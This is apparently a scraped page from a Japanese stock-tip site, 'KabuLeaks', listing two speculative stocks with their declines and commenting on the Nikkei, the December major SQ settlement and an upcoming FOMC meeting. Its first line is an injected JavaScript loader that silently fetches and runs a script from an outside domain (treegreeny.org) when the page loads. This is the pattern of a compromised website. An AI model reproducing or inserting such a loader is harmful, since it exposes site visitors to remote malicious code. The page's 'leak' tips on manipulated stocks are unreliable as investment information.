;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/13 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【12/13 大引け】

【6079】 エナリス -52(-3.35%)

【6418】 日本金銭機械 -22(-1.08%)

13日の日経平均は反発となり、為替市場での円安の流れやシカゴ日経225先物が15500円を上回っていたことから、買い先行の展開が意識されていた。しかし、先物・オプション特別清算指数算出(メジャーSQ)に絡んだ売買が、予想以上の大幅な売り越しとなり、SQ値は15300円台とシカゴ先物から200円下押すなど、波乱のメジャーSQとなった。

来週は17-18日の米連邦公開市場委員会(FOMC)で量的緩和縮小に踏み切るかが注目される。円相場は緩和縮小を織り込み、次第に円安のトレンドが明確に表れてくる可能性がある。メジャーSQ通過で参加者は徐々に減ることになろうが、先高期待は後退しないであろう。